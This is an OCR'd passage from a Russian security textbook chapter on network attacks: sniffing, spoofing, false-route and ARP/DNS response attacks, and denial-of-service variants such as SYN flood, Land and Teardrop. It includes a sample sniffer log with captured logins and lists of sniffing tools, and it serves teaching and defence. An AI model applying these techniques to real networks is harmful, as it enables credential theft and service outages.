Опишем, как осуществляется пассивная атака перехвата данных в Ethernet. Обмен данными по протоколу Ethernet подразумевает посылку пакетов адресату, но из-за особенностей среды передачи рассылка осуществляется всем абонентам одного сегмента интранета. Заголовок пакета содержит адрес узла-приемника. Предполагается, что только узел с соответствующим адресом должен принять пакет. Однако если какой-то ПК в интранете принимает все проходящие пакеты независимо от их заголовков, то говорят, что он находится в promiscuous mode — в режиме приема всех фреймов. Так как в обычном интранете информация о паролях передается в виде простого текста [в открытом виде пароли передаются по сети по протоколам стека TCP/IP: Telnet (23-й порт); POP3 (ПО); FTP (21); POP2 (109); IMAP (143); rlogin (513); Poppasswd (106); NetBIOS (139) и т. д.], то для злоумышленника не сложно перевести один из компьютеров подсети в promiscuous-режим (предварительно получив на нем права root) и, перехватывая и анализируя пакеты, проходящие по его каналам связи, получить пароли к большинству компьютеров интранета.
В одном из наиболее распространенных методов перехвата данных при их перемещении по линиям связи в интранете используется средство, называемое сниффером (от англ, sniffer - ищейка) [68]. Даже если потенциальный злоумышленник не имеет доступа к некоторому компьютеру, он может перехватить данные, посылаемые ПК, в момент их прохождения по кабелю, который подключает данный компьютер к сети. Компьютер, подключенный к сети, аналогичен телефонному аппарату, подключенному к общему номеру. Любой человек может поднять трубку и подслушать чужой разговор. В случае передачи данных любой компьютер, соединенный с сетью, способен принимать пакеты, посылаемые другой станции. Границы существования данной возможности определяются структурой сети. Она может распространяться как на компьютеры, принадлежащие к данному сегменту сети, так и на всю сеть в целом (если сеть не разделена на сегменты). Отличительной особенностью перехвата данных является то, что эта атака относится к типу внутрисегментных.
Также есть возможность запустить сниффер в режиме non-promiscuous, но тогда будет возможность перехватывать соединения только с тем ПК, на котором он запущен.
Средства анализа сетевого трафика по своей функциональности условно делятся на две группы: анализаторы трафика и декодеры протоколов. Анализаторы трафика осуществляют только мониторинг событий, происходящих в сети, собирают статистику о потоках данных. Декодеры протоколов обладают такой полезной функцией, как декодирование передаваемой по сети информации из набора битов и байтов в удобный для восприятия оператором вид. Как правило, все выпускаемые сегодня снифферы относятся к декодерам протоколов.
На рис. 41 приведена обобщенная схема сниффера, основным компонентом которого является декодирующее ядро. Если в разбираемом сниффером пакете обнаруживаются отклонения от нормального, тогда генерируются сигналы тревоги, выдаются сообщения о важных для функционирования сети событиях. Предусмотрена возможность набора статистики, редактирования пакетов, а также генерация текуще-
288
Информационная безопасность открытых систем
го трафика и запуск системных утилит типа ping для проверки достижимости других узлов из данного сегмента сети.
Рис. 41. Обобщенная схема сетевого анализатора
Помимо сбора статистики о потоках в сети и декодирования протоколов, некоторые снифферы обладают такими полезными свойствами, как возможность генерации фреймов/пакетов от своего имени, позволяя заполнять те или иные поля структур произвольными пользовательскими данными. Это может применяться сетевыми администраторами и администраторами ИБ для тестирования и контроля корректности функционирования средств и систем защиты.
Основные сложности с правильной установкой и использованием средств сетевого анализа связаны с тем, что устройство должно уметь наблюдать весь проходящий через интерфейс по сети трафик, что в условиях распространения распределенных сетей и внедрения современных технологий, направленных на повышения эффективности использования полосы пропускания, не всегда возможно. Если на предприятии развернута полносвязная распределенная сеть с несколькими филиалами, то единственно возможным выходом в данной ситуации будет дублирование анализаторов в каждом из удаленных сегментов и независимый сбор статистики с последующим ее обобщением. Однако можно избежать дополнительных затрат на покупку и лицензирование дополнительных копий программ в том случае, если филиалы подключены к центральному офису по топологии "звезда". В данном случае появляется возможность контролировать основные потоки, пересекающие границы удаленных офисов, однако то, что происходит "внутри", все равно остается неизвестным для администратора, осуществляющего мониторинг трафика в центральном офисе. И чтобы сделать эти "черные ящики" прозрачными, все же необходимо будет установить дополнительное ПО.
Для эффективного их использования необходимо выполнение ряда условий (например, агрегирование трафика в точках мониторинга). При этом, несмотря на то что эти условия повышают эффективность использования снифферов в интранете, они же облегчают злоумышленникам доступ к конфиденциальной информации. Поэтому при развертывании подобных систем всегда следует искать компромисс, а также задумываться о реализации перечисленных мер борьбы с несанкционированным прослушиванием сетевого трафика.
Код одной из достаточно эффективных программ этого типа (Esniff.c) был опубликован в журнале "Phrack". Esniff.c предназначена для работы в SunOS. Программа очень компактная и захватывает только первые 300 байт Telnet-, FTP- и rlogin-сессий,
4. Атаки на открытые системы
289
что вполне достаточно для получения идентификатора и пароля. Программа свободно распространяется по сети, и каждый желающий может "срисовать" ее по адресу ftp://coombs.anu.edu.au/pub/net/log. Для SunOS известны также Etherfind и Snoop [ftp://playground.sun.com/].
Существуют и другие программы-снифферы. Это, например, Dsniff, Sniffer Pro LAN, WinShiffer, NTSniff, TCPSpy, Netmon, Etherscan Analyzer, ethdump [ftp://ftp.ger-many.eu.net/pub/networking/inet/ethernet/ethdpl03.zip], Linsniffer [ftp://sunsite.unc.edu/ pub/Linux/system/Network/management/], LanPatrol, LanWatch, Natas, Gobler, Netwatch для Linux; nfswatch, Etherman, tcpdump для SGI Irix; nettl (monitor), netfmt (display), nfswatch для HP/UX; BUTTSniffer, Session Wall [http://www.abirnet.com], LANAlyzer, PacketBoy, LanTrace [http://www.intellimax.com], Shomiti Surveyor, Sniffer Ballista/NT [http://www.securenetworks.com] для Windows; пакет программ Netman, состоящий из подсистем Paketman (для перехвата пакетов), Interman, Etherman, Loadman (эти программы показывают трафик разных типов; http://www.cs.curtin.edu.au/~netman) - для целого ряда платформ, включая Alpha, Mips и др. Для многих ОС может использоваться утилита Unix tcpdump [http://www.linuxshop.ru/linuxbegin/print247.html], причем для ее запуска требуются права администратора (root). Укажем еще несколько специфичных программ: web_snif.c - веб-сниффер для Linux — перехватывает пароли, используемые при аутентификации пользователей на веб-серверах (web basic auth); readsmb.c - перехватывает пароли на SAMBA соединения по NetBEUI; icq-spof.c -позволяет читать сообщения ICQ и перехватывать пароли; C2MyAzz - заставляет сетевых клиентов Microsoft посылать пароли в открытом виде, а также показывает имена и пароли пользователей при подключении к ресурсам.
Если говорить о том, каков тип сниффера, то это могут быть как программные, так и программно-аппаратные реализации. Один из ярких представителей программ -IP-Watcher [68]. Он имеет удобный пользовательский интерфейс, позволяющий выборочно отслеживать любые потоки пакетов, а главное, осуществлять прерывание или даже захват активных соединений (что возможно даже при использовании в сети системы одноразовых или же зашифрованных паролей). Возможность выборочного отслеживания трафика позволяет IP-Watcher собирать практически любую информацию, передаваемую в сети. Он может перехватывать, во-первых, удаленную регистрацию пользователей и, во-вторых, либо файлы, записываемые на сервер после обработки на рабочей станции, либо изменения, вносимые пользователем в случае архитектуры клиент-сервер. Выборочное отслеживание трафика оказывается и хорошим средством защиты от обнаружения. Если администратор подозревает, что в системе работает сниффер, он ищет результат его деятельности, т. е. особо крупные файлы с записью перехваченного трафика. В случае IP-Watcher записывается только необходимый минимум информации - это позволяет программе довольно долго скрывать свое присутствие, поскольку проникновение в сеть таких программ практически незаметно.
Expert Sniffer фирмы Network General [http://www.uniinc.com] перехватывает пакеты и пропускает их через экспертную систему, диагностируя проблемы. Расширенная версия программы состоит из подсистемы-консоли, устанавливаемой на рабочей станции, и агентов, размещаемых на удаленных компьютерах.
Другая разработка этой же фирмы - Sniffer Network Analyzer представляет собой программно-аппаратный анализатор протоколов для проведения полнофункциональ
10—2368
290
Информационная безопасность открытых систем
ной диагностики сети. Идентифицируются сбои, предлагаются пути решения проблем, констатируется безошибочная работа сети. Доступны все сетевые стандарты локальных и глобальных сетей - от Ethernet, Fast Ethernet, FDDI, Token Ring до ATM. Данный факт доказывает, что снифферы существуют не только для среды Ethernet -многие компании выпускают системы анализа трафика и для высокоскоростных линий передачи данных. Анализатор работает на всех уровнях модели OSI и декодирует более 250 протоколов.
Программа Netlog [50] предназначена для сбора данных о запросах на установление соединения по протоколам семейства TCP/IP и фильтрации трафика сети при прохождении пакетов с особыми атрибутами. Она позволяет для ОС SunOS 4.x, SunOS 5.x (Solaris):
	фиксировать действия, производимые определенным компьютером в сегменте сети;
	собирать статистику обращений к сегменту сети в целом или к компьютеру из сети;
	собирать статистику обращений компьютера или сегмента сети в глобальную сеть;
	регистрировать все атаки и проводить оценки степени защиты на сегмент сети в целом и на каждый компьютер в отдельности.
Другая программа — Sniffit [50] производит инспекцию информационного обмена сегмента сети. Регистрируются запросы на установление и разрыв соединения с сетевыми службами, включая запросы внутри сегмента сети, выходящие за его пределы, приходящие из глобальной сети, и запись информации, передаваемой в процессе информационного обмена. При регистрации запроса фиксируется следующая информация: дата, время, источник и получатель запроса, протокол и порт, по которым произошел запрос. Программа предназначена для Solaris, Linux, FreeBSD, Irix, основанных на сетевых интерфейсах NIT, DLPI и BPF. Существует расширенная версия для UDP, ICMP, netload и т. д. [http://reptile.rug.ac.be/~coder/sniffit/sniffit.html].
Использование снифферов наиболее эффективно для проникновения на хосты с большой активностью входящего и выходящего трафика.
Даже при наличии хорошей ПБ сети сниффер обнаружить не просто. Методы защиты от него таковы.
Во-первых, они предполагают установку средств для мониторинга всех процессов в сети.
Во-вторых, если система многопользовательская, то при помощи команды ifcon-fig -а или аналогичной (в которой необходимо указать конкретный интерфейс, узнаваемый командой netstat —г) можно выявить сниффер. Среди флагов у соответствующего интерфейса появляется значение PROMISC. Тогда информация выглядит следующим образом:
#	ifconfig 1е0
leO: flags=8863<UP,BROADCAST,NOTRAILERS, RUNNING, PROMISC, MULTICAST
inet 127.0.0.1 netmask OxtfffffOO broadcast 255.0.0.1
Лог-файл сниффера выглядит, например, так:
victim.net.ru => pop3.net.ru [110]
USER victim
PASS PaSsWorD
STAT QUIT — [RST]
4. Атаки на открытые системы
291
10.0.0.19 =>10.0.0.1 [23]
% #’$ANSI!root
rOOt9xZx
---+ [Timed Out]
Однако следует принять во внимание, что для того, чтобы избежать обнаружения, злоумышленники часто подменяют системные утилиты, например ifconfig. Поэтому следует регулярно проверять их контрольную сумму и независимо от результата периодически заменять соответствующим бинарным файлом из дистрибутива ОС.
Для проверки интерфейсов на SunOS/BSD можно использовать средство срт от организации CERT (его можно найти по адресу http://www.cert.org/ftp/tools/cpm/). Для системы Ultrix обнаружение запущенного сниффера возможно с помощью команд pfstat и pfconfig.
Irix, Solaris, SCO и ряд других ОС не имеют никакой идентификации флагов, и поэтому обнаружить злоумышленника таким образом нельзя. Это же касается компьютеров с MS DOS. Поэтому здесь защита от сканирования возможна путем установки межсетевых фильтров и введения механизма шифрования либо всего трафика, либо только идентификаторов и паролей. Для этого применимы, например, программы deslogin; swIPe [ftp://ftp.csua.berkeley.edu:/pub/cypherpunks/swIPe/]; Netlog (шифрует все сеансы связи).
Назовем некоторые инструменты, которые позволят администраторам ИБ определить наличие снифферов.
	AntiSniff [http://www.10pht.com/antisniff/].
	СРМ (проверка режима прослушивания на Unix-машине) [ftp://coast.cs.purdue.edu/ pub/tools/unix/cpm/ и ftp://ftp.cerias.purdue.edu/pub/ tools/unix/sysutils/cpm/ifstatusj.
	neped (утилита для определения пакетных снифферов, запущенных на локальном сегменте) [http://www.apostols.org/projectz/neped/].
	sentinel [http://www.packetfactory.net/Projects/sentinel/].
И еще просто полезный адрес по средствам обнаружения снифферов: http://www. securiteam.com/unixfocus/Detecting_sniffers_on_your_network.html.
Метод, который не позволит начинающим злоумышленникам запустить сниффер, - это перекомпилирование ядра систем Unix, которые стоят в сети, без поддержки BPF (Packet Filter support).
Применяется и закрытие передаваемой информации за счет использования технологий виртуальных сетей или замена устаревших протоколов более новыми, защищенными версиями (например, вместо Telnet использовать SSH). Предотвращение перехвата информации возможно на основе применения технологии одноразовых паролей S/K.EY, установки системы Kerberos для создания защищенных соединений и реализации протокола SSH (Secure Shell) для сеансов TCP-соединений. Этот протокол поддерживается SSH-серверами Native, OpenSSH, SSH Communications, F-Secure (для Unix/Linux/MacOS) и SSH Communications, F-Secure, Cygwin32 (для Windows), а также SSH-клиентами Native, OpenSSH, F-Secure, SSH Communications (для Unix/ Linux/MacOS), PuTTY, SSH Communications, F-Secure, TeraTerm, FiSSH, SecureCRT, MindTerm (для Windows) и MacSSH, F-Secure, NifiyTelnet 1.1 SSH, MindTerm (для MacOS).
Существуют и аппаратные способы защиты.
292
Информационная безопасность открытых систем
Ряд сетевых адаптеров не поддерживает режим promiscuous mode (например, имеющие сетевые карты TROPIC chipset). Если эти карты использовать для организации интранета, то можно обезопасить себя от сниффера.
Хороший, но недешевый выход для Ethernet типа 10-Base Т - пользоваться активными интеллектуальными концентраторами (они посылают каждой системе только те пакеты, которые ей непосредственно предназначены).
И наконец, возможно усложнить топологию сети с целью затруднения анализа всех потоков информации между сетевыми узлами. Считается, что такая организации транспортной подсистемы позволяет исключить или свести к минимуму объем информации, который будет доступен злоумышленнику. Например, сегментация сетей (или микросегментирование) - чем больше сегментов, тем меньше вероятность и последствия реализации внутрисегментной атаки. Но это решение, хотя оно и благоприятно сказывается на производительности сети, очень дорогое, так как в сети появится дополнительное АО. Кроме того, известны определенные методики перехвата информации и в такой среде. Из наиболее интересных следует отметить ARP poisoning и переполнение на коммутаторе таблицы коммутации пакетов.
Необходимо подчеркнуть, что снифферы могут и должны устанавливаться в сети системными администраторами с целью постоянного контроля трафика. Анализаторы можно применять в качестве средства первой помощи для разрешения целого ряда проблем, от чрезмерных нагрузок на сеть до не отвечающих на запросы коммутаторов и неизвестно куда исчезающих пакетов. По мере роста числа и размера сетей, а также возрастания скорости передачи данных становится все труднее управлять сетью с помощью таких традиционных инструментов, как зонды дистанционного мониторинга (RMON probes). Эти старые методы по-прежнему могут быть полезны, однако они не обеспечивают такого высокого уровня детализации, как анализаторы протоколов. Что же касается анализаторов пакетов, то они, исследуя сетевой трафик, добираются до заголовочной информации в каждой порции данных. А это позволяет проследить путь данных от пункта отправления до пункта назначения. Кроме того, анализаторы пакетов способны идентифицировать типы пересылаемых пакетов и проверять конкретные пакеты на наличие ошибок. Эти программы могут, к примеру, установить, имеет ли пакет уменьшенный размер или он потерял данные в процессе передачи по сети. Выпускаются анализаторы пакетов разных типов, предназначенные для операторов с различным уровнем технической подготовки. Изделия более высокого класса не только анализируют сетевой трафик, но и следят за работой маршрутизаторов, коммутаторов, концентраторов, а в ряде случаев оценивают степень готовности серверов и время отклика ПП. Некоторые из лучших средств мониторинга пакетов могут одновременно работать более чем с 1 тыс. протоколов; другие ориентированы на конкретные применения, например на веб-среду. Возможна и еще более узкая специализация. Некоторые компании поставляют карманные анализаторы, предназначенные прежде всего для проверки крупных сетей, расположенных на разных этажах или в нескольких зданиях. Другие поставщики предлагают изделия, которые должны быть постоянно подключены к сети. Лучше всего использовать аппаратные анализаторы пакетов в сочетании с программными средствами сетевого мониторинга: так легче выявить проблему еще до того, как она выйдет из-под контроля и приведет к снижению или потере работоспособности сети. По данным, опубликованным исследовательской фирмой Frost & Sullivan, объем продаж программных
4. Атаки на открытые системы
293
средств анализа протоколов для локальных сетей, составлявший в 1995 г. 77 млн. долл., к концу 2000 г. достиг отметки 106,3 млн. долл.
4.1.2. Подмена доверенного объекта или субъекта
Подмена доверенного объекта или субъекта РВС [44] и передача по каналам связи сообщений от его имени с присвоением его прав доступа эффективно реализуется в системах, где применяются нестойкие алгоритмы идентификации/аутентификации хостов, пользователей и т. д. Под доверенным объектом будем понимать станцию, легально подключенную к серверу; хотя в более общем смысле доверенная система -это система, допускающая ведение безопасной обработки секретной информации за счет использования достаточных аппаратных и программных средств обеспечения безопасности, создающих требуемый уровень контроля за доступом к информации и обеспечивающих предотвращение (или определение) НСД. То есть доверенным объектом чаще всего выступает пользователь или процесс, а субъектом - процессы или данные, требуемые для выполнения какого-либо процесса.
Обычно в РВС проблема идентификации и аутентификации ее удаленных друг от друга объектов решается за счет создания виртуального канала, во время чего объекты РВС обмениваются определенной информацией, уникально идентифицирующей данный канал. Такой обмен обычно называется рукопожатием (handshake). Однако не всегда для связи двух удаленных объектов в РВС создается виртуальный канал. Иногда, особенно для служебных сообщений, например от маршрутизаторов, используется передача одиночных сообщений, не требующих подтверждения.
Атака заключается в передаче по каналам связи сообщений от имени произвольного объекта или субъекта РВС. При этом существует две разновидности данной ТУА: при установленном виртуальном канале и без установленного виртуального канала.
В первом случае атака нацелена на присвоение прав доверенного субъекта взаимодействия, легально подключившегося к объекту системы, что позволит атакующему вести сеанс работы с объектом РВС от имени доверенного субъекта. Реализация УА данного типа обычно состоит в передаче пакетов обмена с атакующего объекта на цель атаки от имени доверенного субъекта взаимодействия (при этом переданные сообщения будут восприняты системой как корректные). Для осуществления атаки данного типа необходимо преодолеть систему идентификации и аутентификации сообщений, которая в принципе может использовать контрольную сумму, вычисляемую с помощью открытого ключа, динамически выработанного при установлении канала, случайные многобитовые счетчики пакетов и сетевые адреса станций. Однако на практике, например в старых ОС Novell NetWare 3.12-4.1, для идентификации пакетов обмена используются два 8-битовых счетчика — номер канала и номер пакета. В протоколе TCP для идентификации применяются два 32-битовых счетчика.
Атака без установленного виртуального соединения заключается в передаче служебных сообщений от имени сетевых управляющих устройств, например от имени маршрутизаторов. В этом случае для идентификации пакетов возможно лишь использование статических ключей, определенных заранее, что довольно неудобно и требует сложной системы управления ключами. Однако при отказе от такой системы идентификация пакетов без установленного виртуального канала будет возможна лишь по сетевому адресу отправителя, который легко подделать. Посылка ложных
294
Информационная безопасность открытых систем
управляющих сообщений может привести к серьезным нарушениям работы РВС (например, к изменению ее конфигурации). У А, использующая навязывание ложного маршрута, относится к данному типу.
Описанная ТУА - это активное воздействие, совершаемое с целью нарушения конфиденциальности и целостности информации, по наступлении на атакуемом объекте определенного события. Данная У А может являться как внутрисегментной, так и межсегментной, как с обратной связью, так и без обратной связи с атакуемым объектом и осуществляется на сетевом и транспортном уровнях модели OSI.
4.1.3. Ложный объект
В том случае, если в РВС недостаточно надежно решены проблемы идентификации сетевых управляющих устройств (например, маршрутизаторов), возникающие при взаимодействии последних с объектами системы, то подобная распределенная система может подвергнуться типовой удаленной атаке, связанной с изменением маршрутизации и внедрением в систему ложного объекта [44].
Ложный объект РВС внедряется двумя способами.
1. Навязыванием ложного маршрута из-за недостатков в алгоритмах маршрутизации (т. е. проблем идентификации сетевых управляющих устройств), в результате чего можно попасть, например, на ПК или в сеть злоумышленника, где с помощью определенных средств можно "вскрыть" атакуемый компьютер. Маршрутом называется последовательность узлов сети, по которой данные передаются от источника к приемнику. Каждый маршрутизатор имеет специальную таблицу маршрутизации, в которой для каждого адресата указывается оптимальный маршрут. Эти таблицы существуют не только у маршрутизаторов, но и у любых хостов в сети. Для обеспечения эффективной и оптимальной маршрутизации в РВС применяются специальные управляющие протоколы, позволяющие маршрутизаторам обмениваться информацией друг с другом, - RIP (Routing Information Protocol) и OSPF (Open Shortest Path First), уведомлять хосты о новом маршруте (ICMP), удаленно управлять маршрутизаторами (SNMP). Названные протоколы позволяют удаленно изменять маршрутизацию в сети, т. е. в общем являются протоколами управления сетью.
Маршрутизация в открытых сетях играет важнейшую роль для функционирования системы и, как следствие этого, часто подвергается атакам злоумышленников. Основная цель атак состоит в том, чтобы изменить исходную таблицу маршрутизации на объекте РВС так, чтобы новый маршрут проходил через ложный объект — хост атакующего. Реализация данной ТУА состоит в несанкционированном использовании протоколов управления сетью для изменения исходных таблиц маршрутизации. Для изменения маршрутизации атакующему необходимо послать по сети определенные данными протоколами управления сетью специальные служебные сообщения от имени сетевых управляющих устройств (например, маршрутизаторов). В результате успешного изменения маршрута атакующий получит полный контроль над потоком информации, которой обмениваются два объекта РВС, и атака перейдет во вторую стадию, связанную с приемом, анализом и передачей сообщений, получаемых от дезинформированных объектов РВС. Данная атака - активное безусловное воздействие, совершаемое с любой целью указанных в классификации как внутри одного сегмента, так и межсегментно, как с обратной связью, так и без обратной свя
4. Атаки на открытые системы
295
зи с атакуемым объектом на транспортном и прикладном уровнем модели OSI (см. рис. 40).
2. Использованием недостатков алгоритмов удаленного поиска. В РВС часто ее удаленные объекты изначально не имеют достаточно информации, необходимой для адресации сообщений. Обычно такой информацией являются аппаратные (адрес сетевого адаптера) и логические (IP-адрес, например) адреса объектов РВС. Для получения подобной информации в РВС используются различные алгоритмы удаленного поиска, заключающиеся в передаче по сети специального вида поисковых запросов и в ожидании ответов на запрос с искомой информацией. После получения ответа на запрос запросивший субъект РВС обладает всеми необходимыми данными для адресации. Руководствуясь полученными из ответа сведениями об искомом объекте, запросивший субъект РВС начинает обращаться к нему. Примером подобных запросов, на которых базируются алгоритмы удаленного поиска, могут служить SAP-запрос в ОС Novell NetWare, ARP- и DNS-запрос в Интернет. В случае использования РВС механизмов удаленного поиска существует возможность на атакующем объекте перехватить посланный запрос и послать на него ложный ответ, где указать данные, использование которых приведет к адресации на атакующий ложный объект. В дальнейшем весь поток информации между субъектом и объектом взаимодействия будет проходить через ложный объект РВС. Другой вариант внедрения в РВС ложного объекта состоит в периодической передаче на атакуемый объект заранее подготовленного ложного ответа без приема поискового запроса. Атакующему для посылки ложного ответа не всегда обязательно дожидаться приема запроса (он может в принципе не иметь подобной возможности перехвата запроса). При этом атакующий может спровоцировать атакуемый объект на передачу поискового запроса, и тогда его ложный ответ будет немедленно иметь успех. Данная ТУА характерна для глобальных сетей, когда у атакующего из-за нахождения его в другом сегменте относительно цели атаки просто нет возможности перехватить поисковый запрос. Это активное воздействие с нарушением конфиденциальности и целостности информации, которое может являться атакой по запросу от атакуемого объекта, а также безусловной атакой как внутрисегментно, так и межсегментно, имеет обратную связь с атакуемым объектом и осуществляется на канальном и прикладном уровнях модели OSL
Такая атака позволяет воздействовать на перехваченную информацию следующим образом:
	проводить селекцию и сохранение потока информации на ложном объекте РВС;
	модифицировать информацию - в передаваемых данных или коде;
	подменять информацию.
4.1.4. "Отказ в обслуживании"
При атаке "отказ в обслуживании" (Denial of service, DoS) нарушитель пытается сделать временно недоступным или разрушить конкретный сервис (или компьютер), перегрузить сеть, перегрузить центральный процессор или переполнить диск. Нарушитель не пытается получить информацию, а просто действует как вандал, стараясь вывести компьютер из строя. Значительная часть этих атак представляла собой достаточно массированные атаки со скоростью порядка тысяч пакетов в секунду.
Атаки "отказ в обслуживании" делятся на несколько классов. Атаки первого класса - логические (logic), используя дыры в ПО, они приводят к "зависанию" или зна
296
Информационная безопасность открытых систем
чительному снижению производительности сервера. Многие из таких атак могут быть предупреждены либо обновлением ПО, либо фильтрацией определенных последовательностей пакетов, но в любом случае они представляют серьезную угрозу. Атаки второго класса заключаются в переполнении ресурсов процессора, памяти и сетевых ресурсов сервера посылкой большого количества ложных пакетов. Организовать защиту от таких атак чрезвычайно сложно, так как не существует какого-либо действенного способа отличить "хорошие" пакеты от "плохих".
Одной из основных задач, возлагаемых на сетевую ОС, функционирующую на объектах РВС, является обеспечение надежного УД с любого объекта сети к данному объекту [44]. В общем случае в РВС каждый субъект системы должен иметь возможность подключиться к любому объекту РВС и получить в соответствии со своими правами УД к его ресурсам. Обычно такая возможность реализуется запуском в сетевой ОС объекта РВС на выполнение ряда программ-серверов (например, FTP-сервер, веб-сервер и т. п.), предоставляющих УД к ресурсам данного объекта. Данные программы-серверы входят в состав телекоммуникационных служб предоставления УД. Задача сервера состоит в том, чтобы, находясь в памяти ОС объекта РВС, постоянно ожидать получения запроса на подключение от удаленного объекта. В случае получения подобного запроса сервер должен по возможности передать на запросивший объект ответ, в котором либо разрешить подключение, либо нет. По аналогичной схеме происходит создание виртуального канала связи для взаимодействия объектов РВС. В этом случае непосредственно ядро сетевой ОС обрабатывает приходящие извне запросы на создание виртуального канала и передает их в соответствии с идентификатором запроса (порт или сокет) прикладному процессу, которым является соответствующий сервер.
Сетевая ОС способна иметь только ограниченное число открытых виртуальных соединений и отвечать лишь на ограниченное число запросов. Эти ограничения зависят от различных параметров системы в целом, основными из которых являются быстродействие ЭВМ, объем оперативной памяти и пропускная способность канала связи). Основная проблема состоит в том, что при отсутствии статической ключевой информации в РВС идентификация запроса возможна только по адресу его отправителя. Если в РВС не предусмотрено средств аутентификации адреса отправителя, т. е. инфраструктура РВС позволяет с одного объекта системы передавать на другой атакуемый объект бесконечное число анонимных запросов на подключение от имени других объектов, то в этом случае будет иметь успех ТУА "отказ в обслуживании". Результат применения этой УА — нарушение на атакованном объекте работоспособности соответствующей службы предоставления УД, т. е. невозможность получения УД с других объектов РВС.
Вторая разновидность этой ТУА состоит в передаче с одного адреса такого количества запросов на атакуемый объект, какое позволит трафик (атака - направленный "шторм" запросов или "наводнение" запросами — по англ, flooding). В том случае если в системе не предусмотрены правила, ограничивающие число принимаемых запросов с одного объекта (адреса) в единицу времени, то результатом этой атаки может являться как переполнение очереди запросов и отказа одной из телекоммуникационных служб, так и полная остановка компьютера из-за невозможности системы заниматься ничем другим, кроме обработки запросов.
4. Атаки на открытые системы
297
Третьей разновидностью атаки "отказ в обслуживании" является передача на атакуемый объект некорректного, специально подобранного запроса. В этом случае при наличии ошибок в удаленной системе возможно зацикливание процедуры обработки запроса, переполнение буфера с последующим "зависанием" системы и т. п.
К наиболее распространенным относятся следующие реализации DoS-атак.
Ping-of-Death. Посылается ICMP-пакет размером более 64 Кбайт, что может привести к переполнению буфера ОС и выведению атакуемой системы из строя.
SYN flooding. Очень быстро посылается большое число TCP SYN-пакетов (инициализирующих соединение), оставляя жертву в ожидании громадного количества соединений, вызывая тем самым усиленную загрузку ресурсов и отказ от санкционированных соединений.
Land/Latierra. Атака использует уязвимости реализаций стека TCP/IP в некоторых ОС и заключается в передаче на открытый порт компьютера-жертвы TCP-пакета с установленным флагом SYN, причем исходный адрес и порт такого пакета соответственно равны адресу и порту атакуемого компьютера и система движется по бесконечной петле, пытаясь установить TCP-соединение. Нормальной реакцией на получение SYN-пакета является подготовка необходимых ресурсов для нового соединения, посылка SYN-ACK-пакета (подтверждение) и ожидание реакции с другой стороны. В случае, когда реакция отсутствует определенное время, SYN-ACK-пакет передается повторно несколько раз, как правило с увеличивающимся периодом задержки. Методом атаки, использующим вышеописанный механизм, является "затопление" SYN-пакетами. На компьютер-жертву посылается множество SYN-пакетов с искаженными адресами отправителя. Компьютер-жертва тратит массу своих вычислительных ресурсов на попытки подтвердить соединения с абсолютно ничего не подозревающими или даже с несуществующими компьютерами. При достаточно большом количестве фальшивых запросов ресурсы компьютера-жертвы могут быть исчерпаны, а все другие процессы в системе будут просто заморожены, либо аварийно завершены, либо будут "сброшены" все имеющиеся TCP-соединения. Пакет посылается на любой открытый порт. Для Windows-систем это почти всегда может быть 139-й порт. Реакцией Windows на атаку LAND является абсолютное "зависание" В другой разновидности этой атаки компьютер-жертва пытается установить соединение сам с собой, в результате чего сильно возрастает загрузка процессора и может произойти "подвисание" или перезагрузка; атака эффективна на некоторых моделях маршрутизаторов фирмы Cisco Systems; защитой от атаки является установка пакетного фильтра между внутренней сетью и Интернетом с правилом фильтрации, предписывающим подавлять пришедшие из Интернет пакеты с исходными IP-адресами компьютеров внутренней сети.
WinNuke. В режиме OutOfBand ("вне очереди", т. е. с высоким приоритетом) посылаются данные с флагом URGENT для TCP-соединения с портом 139 (NetBIOS Session/SMB); симптомы атаки — потеря доступа к сетевым ресурсам; не приводит к "зависанию" системы, но вызывает фатальные ошибки в работе, требующие перезагрузки для восстановления связи с Интернетом.
Фрагментация данных. Используется необходимость (для некоторых аппаратных средств) фрагментирования пакетов, содержащаяся в спецификации IP. Во время атаки инициируется посылка большого числа фрагментов, что приводит к переполнению программных буферов на приемной стороне или к аварийному завершению сис
298
Информационная безопасность открытых систем
темы. Данная атака эффективна против компьютеров с ОС Windows NT без установленной специализированной дополняющей программной "заплатки" icmp-fix. Примером может служить атака Boink (на нее похожи Teardrop и New Tear/Tear2). Симптомы - "зависание" системы. Используются пакеты с неправильно указанными смещениями фрагментов. Посылаются пакеты, якобы являющиеся частями одного большого пакета с неправильно указанными смещениями фрагментов, из-за чего пакет не может быть собран, что приводит к "зависанию" системы. Второй пример -атака Jolt (SSping, IceNuke) с теми же симптомами - "зависанием" системы. Сверхдлинный, фрагментированный пакет вызывает "зависание" системы. Она прекращает работать и должна быть перезагружена. Выявление подобных атак заключается в осуществлении и анализе сборки пакетов "на лету".
TearDrop. Состоит в отправке специально созданных пар фрагментированных IP-пакетов, которые после приема собираются в некорректную дейтаграмму UDP. Перекрывающиеся смещения вызывают перезапись данных в середине заголовка дейтаграммы, содержащегося в первом пакете, вторым пакетом. В результате образуется незаконченная дейтаграмма, размещаемая в области памяти ядра Windows NT. Получение и обработка большого количества таких пар пакетов приводят к аварийному завершению Windows NT с сообщением STOP ОхОООООООА.
DNS flooding. Атака на серверы имен Интернета. Заключается в передаче большого числа DNS-запросов. В результате пользователь не может обращаться к сервису имен и, следовательно, его работа становится невозможной. Выявление атаки сводится к анализу загрузки DNS-сервера и определению источников запросов.
Атака, использующая слабости интерфейса NPFS [69, 70]. Эта атака использует недостатки самой ОС Windows NT, т. е. является логической атакой. Поражаются и рабочие станции, и серверы. Аббревиатура NPFS расшифровывается как Named Pipe File System, однако NPFS не является файловой системой. С помощью NPFS решается множество задач, некоторые из которых играют важную роль в обеспечении безопасности ОС. Например, каналы Isass, Isarpc и LANMAN применяются при передаче по сети имени и пароля пользователя при сквозной аутентификации в домене Windows NT. Удаленный вызов процедур (RPC) в Windows NT реализован как надстройка над NPFS. Драйвер npfs.sys работает в соответствии со спецификациями драйвера файловой системы, но не управляет никакими файлами. Основное его назначение заключается в управлении именованными каналами (named pipes), которые употребляются для передачи информации между процессами и могут быть однонаправленными и двунаправленными. Создание канала происходит следующим образом. Процесс-сервер создает канал с помощью функции программного интерфейса Win32 CreateNamedPipe. Канал может быть создан только на локальном компьютере. Процесс-сервер активизирует канал с помощью функции ConnectNamedPipe. Теперь к каналу могут подключаться клиенты. Процесс-клиент подключается к каналу посредством вызова функции CreateFile. Параметры функции отличаются от обычных только именем открываемого объекта, которое имеет вид \\computer_name\pipe\ pipe_name. Вместо имени компьютера может использоваться символ (точка), в этом случае речь идет о локальном компьютере. После выполнения этих действий процесс-клиент и процесс-сервер могут обмениваться информацией посредством канала с помощью функций 